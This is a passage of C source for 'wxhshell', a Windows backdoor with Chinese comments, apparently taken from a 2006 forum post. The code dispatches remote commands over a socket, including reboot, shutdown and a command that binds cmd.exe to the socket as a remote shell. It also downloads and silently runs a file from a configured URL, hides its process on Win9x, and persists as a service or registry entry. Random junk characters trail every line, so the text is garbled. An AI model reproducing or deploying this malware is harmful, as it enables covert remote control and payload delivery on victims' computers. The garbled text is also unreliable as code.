  // 帮助 !A<XqzV]  
  case '?': { ~!+h"%'t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'C?f"P:X{  
    break; `"-!UkD+  
  } "=RoI  
  // 安装 igbb=@QBJ  
  case 'i': { p<nBS" /  
    if(Install()) %'~<:>:"E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~v,KI["o  
    else .g`*cDW^=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :phD?\!w8t  
    break; eR 2T<7G  
    } JFk|Uqs(  
  // 卸载 +(k)1kCMn  
  case 'r': { q,>F#A '  
    if(Uninstall()) F vk: c-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}QmeY[0I  
    else <rI$"=7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %T*+t"\)  
    break; a} fS2He  
    } 8gKR<X.G  
  // 显示 wxhshell 所在路径 (uxQBy  
  case 'p': { =y(YMWGS  
    char svExeFile[MAX_PATH]; _G*x:<  
    strcpy(svExeFile,"\n\r"); 3g "xm  
      strcat(svExeFile,ExeFile); TF3q?0  
        send(wsh,svExeFile,strlen(svExeFile),0); }8]uZ)[p=  
    break; 5J#g JFA  
    } \6 0WP-s  
  // 重启 p$G3r0 @  
  case 'b': { FG36,6N%2j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "._WdY[  
    if(Boot(REBOOT)) *b l{F\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^znv[  
    else { [(UqPd$  
    closesocket(wsh); 3\.)y49,1  
    ExitThread(0); 3a[(GW _  
    } i/EiUH/~  
    break; 2o5< nGn  
    } ?4?jG3p  
  // 关机 Mz. &d:  
  case 'd': { bQQ/7KM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >!p K94  
    if(Boot(SHUTDOWN)) \ ozy_s[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jmzvp6N$8  
    else { [hj'Yg8{  
    closesocket(wsh); OQ*. ho  
    ExitThread(0); s(9rBDoY(8  
    } K}(n;6\  
    break; F"P:9`/  
    } '\YhRU  
  // 获取shell TUn@b11  
  case 's': { %}5"5\Zz  
    CmdShell(wsh); $^aXVy5p  
    closesocket(wsh); Q+M3Pqy  
    ExitThread(0); &rWJg6/  
    break; &Gwh<%=U  
  } l"!;Vkg.5  
  // 退出 KgAX0dM  
  case 'x': { 0A 4|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~{!!=@6  
    CloseIt(wsh); M#2U'jy  
    break; @Iatlz*W  
    } Elk$9 < <  
  // 离开 BD+~8v  
  case 'q': { sU!q~`; J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I}A#*iD  
    closesocket(wsh); |OT%,QT|  
    WSACleanup(); ;mxT >|z  
    exit(1); 5|t&qUV  
    break; @Odu.F1e  
        } W >IKy#  
  } df rr.i  
  } ({b/J0 <@D  
Q>*K/%KD  
  // 提示信息 gb#wrI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LMzYsXG*[  
} J(VZa_  
  } ebVfny$D  
*Yjs$'_2  
  return; NdQ?3'WJ  
} jC8BLyGE_  
^Wz{su2  
// shell模块句柄 yYtki  
int CmdShell(SOCKET sock) 'Em($A (  
{ UzwIV{  
STARTUPINFO si;  )U`kU`+'  
ZeroMemory(&si,sizeof(si)); "n-xsAG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w2V E_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n_2 LkW<?  
PROCESS_INFORMATION ProcessInfo; $&C%C\(>D  
char cmdline[]="cmd"; @V u[Tg}J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `<Nc Y*  
  return 0; x;aZ&  
} j zp%.4/j  
sB!A:  
// 自身启动模式 htlWC>*  
int StartFromService(void) qT%E[qDS  
{ I2Q?7p  
typedef struct zwHsdB=v  
{ Y[,C1,  
  DWORD ExitStatus; *~X\c Z  
  DWORD PebBaseAddress; |@|D''u>6  
  DWORD AffinityMask; 4B pm{b  
  DWORD BasePriority; qm_E/B  
  ULONG UniqueProcessId; 9V!K. _Cb  
  ULONG InheritedFromUniqueProcessId; ,%<77LE  
}   PROCESS_BASIC_INFORMATION; M#|xj <p  
Bqj *{m  
PROCNTQSIP NtQueryInformationProcess; G;+ 0V0K  
r?7 ^@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O-YE6u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o LRio.u*  
H#akE\,  
  HANDLE             hProcess; ?2c:|FD  
  PROCESS_BASIC_INFORMATION pbi; $5O&[/L  
A;PV,2|X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _JoA=< O!  
  if(NULL == hInst ) return 0; Yuck]?#0  
K~G^jAk+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A":x<9   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s5@^g8(+C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W;W\L? r  
;kA2"c]m  
  if (!NtQueryInformationProcess) return 0; \t3i9#Q  
wEyh;ID3#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [c~zO+x  
  if(!hProcess) return 0; }=5(*Vg  
J{I?t~u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p! 1zhD  
2Hj]QN7"   
  CloseHandle(hProcess); vzPrG%Uu7g  
-K4RQ{=>UZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >ZWm0nTr  
if(hProcess==NULL) return 0; ='azVw%_  
ZN/")  
HMODULE hMod; g}7%3D  
char procName[255]; QG ia(  
unsigned long cbNeeded; S7]cF5N  
Ns{4BM6j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DoA f,9|_  
aQuENsB  
  CloseHandle(hProcess); lU3wIB  
u5,<.#EVY  
if(strstr(procName,"services")) return 1; // 以服务启动 JM0)x}] +  
?e*vvu33!  
  return 0; // 注册表启动 ~$<@:z{*  
} f}A^rWO  
Px`yD3  
// 主模块 -)/>qFj )  
int StartWxhshell(LPSTR lpCmdLine) 4l:+>U@KU  
{ es{ 9[RHK  
  SOCKET wsl; ?/D#ql7  
BOOL val=TRUE; /V~(!S>  
  int port=0; TDFv\y}yc  
  struct sockaddr_in door; y!].l0e2a  
oz--gA:g  
  if(wscfg.ws_autoins) Install(); oUH\SW8?  
&x}JC/u]fd  
port=atoi(lpCmdLine); 7Uh}|6PU  
<@P0sd   
if(port<=0) port=wscfg.ws_port; ,wjL3c  
W\/0&H\i  
  WSADATA data; u]"R AH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; . x$` i  
l"64w>,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #i? TCO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p O.8>C%  
  door.sin_family = AF_INET; ;6Z?O_zp4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G(L*8U< UG  
  door.sin_port = htons(port); Al?XJ C B@  
ZWv$K0agu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1=>$c   
closesocket(wsl); 5 m:nh<)#  
return 1; ?hO*~w;UU|  
} E^s>S,U[y  
b /)UN*~  
  if(listen(wsl,2) == INVALID_SOCKET) { *Z(qk`e.b  
closesocket(wsl); ^gy(~u  
return 1; 8EQ;+V  
} |2 Dlw]d  
  Wxhshell(wsl); "D+QT+sD  
  WSACleanup(); +KZc"0?  
X~0P+E#  
return 0; yTk9+>  
-kkXyO8js  
} |( KM 8  
B}p/ ,4x6  
// 以NT服务方式启动 Gl+}]Vn[n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =1D*K%  
{ cIH`,bR  
DWORD   status = 0; MFVFr "  
  DWORD   specificError = 0xfffffff; aLr^uce]  
i ):el=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m{X;|-DK[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  W* YfyM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,v/C-b)I  
  serviceStatus.dwWin32ExitCode     = 0; DZvpt%q  
  serviceStatus.dwServiceSpecificExitCode = 0; dg-pwWqN  
  serviceStatus.dwCheckPoint       = 0; R!`#pklB  
  serviceStatus.dwWaitHint       = 0; 9P]TIV.  
.Xr_BJ _  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {\k9%2V*+  
  if (hServiceStatusHandle==0) return; Mc.KLz&,FC  
~"(1~7_  
status = GetLastError(); `g#\ Ws  
  if (status!=NO_ERROR) E:7vm@+  
{ g wk\[I`;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *J6qL! ["  
    serviceStatus.dwCheckPoint       = 0; E-RbFTVBA  
    serviceStatus.dwWaitHint       = 0; hPl;2r  
    serviceStatus.dwWin32ExitCode     = status; dK=BH=S2?X  
    serviceStatus.dwServiceSpecificExitCode = specificError; r`5;G4UI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0X@5W$x  
    return; F"LT\7yjyG  
  } Wd[XQZ<  
CN zK-,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #SL/Jr DZ  
  serviceStatus.dwCheckPoint       = 0; 9F3`hJZRy>  
  serviceStatus.dwWaitHint       = 0; r`lgK2r\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sQR;!-j  
} Ih{~?(V$  
*H;&hq  
// 处理NT服务事件,比如:启动、停止 SN11J+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lcih [M6z  
{  /8.;  
switch(fdwControl) ;$nK ^  
{ m^`X|xK-  
case SERVICE_CONTROL_STOP: b*,R9  
  serviceStatus.dwWin32ExitCode = 0; &Zov9o:gx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :QN,T3i'/3  
  serviceStatus.dwCheckPoint   = 0; \4V'NTjB  
  serviceStatus.dwWaitHint     = 0; GU!|J71z  
  { am`eist:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J9 /w_,,R$  
  } <>-UPRw qI  
  return; -i 9/1.Z  
case SERVICE_CONTROL_PAUSE: bju0l[;=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S6cSeRmw  
  break; I@.qon2V  
case SERVICE_CONTROL_CONTINUE: KExfa4W 3{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A1i-QG/6  
  break; DRw%~  
case SERVICE_CONTROL_INTERROGATE: l.C {Ar  
  break; O'(qeN<^w  
}; f3nib8B'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -5.>9+W8I  
} |GIT{_JE  
#* w$JH  
// 标准应用程序主函数 X]`\NNx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3n X7$$X  
{ =\`9\Gd  
tr):n@  
// 获取操作系统版本 ao 32n  
OsIsNt=GetOsVer(); m^p Q55,   
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dt8eVWkN~  
Y8Mo.v  
  // 从命令行安装 K?P.1H`  
  if(strpbrk(lpCmdLine,"iI")) Install(); #E>f.:)  
|i1z47jN6P  
  // 下载执行文件 UUX _x?BD  
if(wscfg.ws_downexe) { s*rtm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DT_012 z  
  WinExec(wscfg.ws_filenam,SW_HIDE); x!S8'  
} 10*U2FY)]  
Rnj2Q!C2  
if(!OsIsNt) { 6Bs_" P[  
// 如果时win9x,隐藏进程并且设置为注册表启动 GMksr%0Pj  
HideProc(); S# SA:>8s  
StartWxhshell(lpCmdLine); ZSxKk6n}J  
} W C}mt%H*O  
else n_iq85  
  if(StartFromService()) x}72jJe`  
  // 以服务方式启动 t,+p!"MRY  
  StartServiceCtrlDispatcher(DispatchTable); 7v1}8Uk  
else }**^ g:  
  // 普通方式启动 @@}A\wA-  
  StartWxhshell(lpCmdLine); z^ ~fVl  
 Zuwd(q  
return 0; BC&Et62*  
}
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只看该作者 1 发表于: 2006-10-10
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